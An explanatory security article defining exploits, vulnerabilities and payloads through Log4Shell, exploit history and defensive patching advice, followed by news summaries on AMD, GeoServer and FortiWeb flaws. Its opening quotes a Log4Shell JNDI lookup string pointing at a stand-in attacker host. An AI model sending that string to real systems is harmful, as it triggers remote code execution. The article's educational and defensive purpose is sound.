What Is an Exploit: How a Flaw in Someone Else's Code Becomes Unauthorized Access to Your Server
On December 9, 2021, Minecraft players noticed an oddity. Typing a string like ${jndi:ldap://evil-server/a} into the public chat caused the game server, which merely logged the message, to fetch and execute remote code over the internet. No attachments, no macros, no clicks required—just text in chat.
Within a day the issue received identifier CVE-2021-44228, a maximum CVSS score of 10, and the name Log4Shell. The culprit was Log4j, a mundane logging library embedded in millions of Java applications ranging from corporate portals to warehouse management systems. Apache released an emergency patch, the world spent six weeks hunting vulnerable builds, and attackers scanned networks in bulk.
This is precisely where the difference between “the program contains a bug” and “this bug has already been used to compromise me” lives. That difference is called an exploit.
Exploit in Plain Terms
An exploit is code, a command sequence, or a series of actions that converts a theoretical vulnerability into a practical outcome for the attacker. The term derives from the English verb “to exploit.” Russian regulatory documents from FSTEC use the more precise phrase “exploitation of a vulnerability.”
Three concepts are frequently confused even by experienced administrators:
- Vulnerability is the defect itself—forgotten input-length checks, leftover test accounts, or overly permissive network access rules.
- Exploit is the specific key crafted for that defect, knowing exact byte counts, field locations, and offsets.
- Payload is the actual objective—reverse shell, ransomware, miner, or persistence mechanism.
The apartment analogy works well: the vulnerability is a faulty lock that opens with a paperclip; the exploit is the precisely bent paperclip; the burglar carrying a bag is the payload.
Where Vulnerabilities Come From
They come from people. The Linux kernel exceeded 40 million lines of code by 2026. Common families include memory-safety errors in C/C++, injection flaws such as SQL or JNDI substitution, logical business-logic errors exemplified by Zerologon (CVE-2020-1472), and misconfigurations including exposed management interfaces.
Inside an Exploit
The story begins with the Morris Worm on November 2, 1988, which abused the unchecked gets() function in fingerd. Eight years later Aleph One’s “Smashing the Stack for Fun and Profit” explained stack overflows. Defenses followed—stack canaries, DEP (2004), ASLR (2007), CFG/CFI, and ARM PAC/MTE—prompting attackers to adopt return-oriented programming (ROP) chains described by Hovav Shacham in 2007. Modern browser exploitation now requires weeks of heap grooming, ASLR bypass via leaks, and sandbox escapes.
Types of Exploits
Remote code execution (RCE) such as Log4Shell, local privilege escalation (LPE) such as Dirty Pipe (CVE-2022-0847), authentication bypass such as Zerologon, sandbox escapes, information disclosure such as Heartbleed (CVE-2014-0160), and denial of service.
Zero-Day and N-Day Exploits
A zero-day targets an unpatched flaw. Google Threat Intelligence Group recorded 90 zero-days used in attacks during 2025. Most mass compromises, however, rely on n-day vulnerabilities whose patches have been available for months or years.
Proof-of-Concept versus Weaponized Exploits
A PoC merely demonstrates exploitability. Turning it into a reliable, multi-version module takes far longer. Frameworks such as Metasploit and archives such as Exploit-DB lower the barrier once public modules appear.
Exploit Kits and Economics
Exploit kits such as Angler packaged browser exploits for drive-by downloads. The Russian group Lurk was linked to Angler operations before its 2016 takedown. Today the market has shifted toward corporate perimeter devices. Legal bug-bounty programs, gray-market brokers such as Zerodium and Crowdfense, and criminal forums price exploits differently, with zero-days reaching millions of dollars.
Practical Defenses
Organizations should prioritize the CISA KEV catalog (now over 1,300 entries), FSTEC threat database, and EPSS scores rather than raw CVSS numbers. Additional measures include attack-surface reduction, virtual patching via WAF, network segmentation, and behavioral monitoring. The 2017 WannaCry outbreak, powered by the leaked EternalBlue exploit for which a patch had existed for eight weeks, remains the clearest illustration of delayed patching consequences.
While Russian law (Article 273) creates uncertainty for researchers, participation in official bug-bounty programs with written authorization remains the safest legal posture.
Related articles
AMD Memory Controller PoC Bypasses Hardware Isolation on Family 16h Processors
Security researcher Christopher Domas released a proof-of-concept project named skitter-creek-bath-salts that demonstrates a bypass of hardware memory protections on AMD Family 16h processors. The technique manipulates DRAM controller settings to access regions that should remain inaccessible even to the operating system, kernel, and ring-0 code. By altering a single register after upstream protections have acted, the controller remaps addresses, creating an alias that leads to the same DRAM cells through an alternative path. The PoC uses linear algebra and the Z3 SMT solver to locate alias addresses and carefully manages interrupts, cache, and page tables to avoid system crashes during the brief remapping window. Demonstrations include potential access to the AMD Platform Security Processor, fTPM data, System Management Mode regions, C6 processor states, and microcode storage, with the possibility of modifying microcode patches. The research was validated only on AMD Family 16h; no similar issues have been reported for newer AMD, Intel, ARM, or RISC-V platforms.
Critical GeoServer Vulnerability CVE-2024-36401 Actively Exploited for Unauthenticated Remote Code Execution
The CVE-2024-36401 flaw in GeoServer and its GeoTools library allows attackers to achieve remote code execution without authentication by abusing property name expressions interpreted as XPath. Active exploitation has already led to confirmed intrusions involving initial access, lateral movement, and persistence with tools such as China Chopper web shells. Multiple OGC endpoints including WFS GetFeature, WMS GetMap, and WPS Execute are affected when exposed to the internet. Patches are available in GeoServer versions 2.22.6, 2.23.6, 2.24.4, and 2.25.2. Organizations unable to patch immediately can mitigate risk by removing the gt-complex JAR file, though this may break functionality. Additional defenses include restricting internet exposure through IP allowlisting, VPNs, and reverse proxies while monitoring logs for anomalous requests. Any previously exposed instances should be treated as potentially compromised, with full incident response including credential rotation and host forensics recommended.
Critical GeoServer Vulnerability CVE-2024-36401 Actively Exploited for Unauthenticated Remote Code Execution
The vulnerability CVE-2024-36401 in GeoServer is already being exploited in real-world attacks and enables remote code execution without authentication. The flaw stems from how GeoServer and its GeoTools library interpret certain property names, allowing malicious XPath expressions via commons-jxpath in default configurations. Attackers can abuse multiple OGC endpoints including WFS GetFeature and GetPropertyValue, WMS GetMap, GetFeatureInfo and GetLegendGraphic, plus WPS Execute to gain initial access. Observed intrusions follow a familiar pattern of reconnaissance, lateral movement and persistence with web shells such as China Chopper. Patches are available in GeoServer 2.22.6, 2.23.6, 2.24.4 and 2.25.2, while a temporary mitigation involves removing the gt-complex jar file. Organizations are urged to apply updates immediately, restrict internet exposure and hunt for indicators of compromise in logs and on hosts.
Fortinet Patches Critical Authentication Bypass in FortiWeb Allowing Login with Random Credentials
Fortinet has released security updates addressing multiple vulnerabilities across FortiWeb, FortiManager, and FortiClient products. The most severe issue, tracked as CVE-2026-26035, affects FortiWeb and carries a CVSS score of 8.8. The flaw occurs when administrative accounts configured with remote RADIUS authentication use the wildcard option, which is disabled by default. Under these conditions, an unauthenticated remote attacker can gain administrative access to the web application firewall by supplying arbitrary usernames and passwords. Successful exploitation grants full control over the FortiWeb instance, potentially compromising web application security. The vulnerability impacts FortiWeb versions 8.0, 7.6, 7.4, 7.2, and 7.0, with fixes available in versions 8.0.3, 7.6.7, 7.4.12, and 7.2.13. No active exploitation of the authentication bypass flaws has been observed so far, but the risk of remote administrative access makes immediate patching essential for exposed appliances.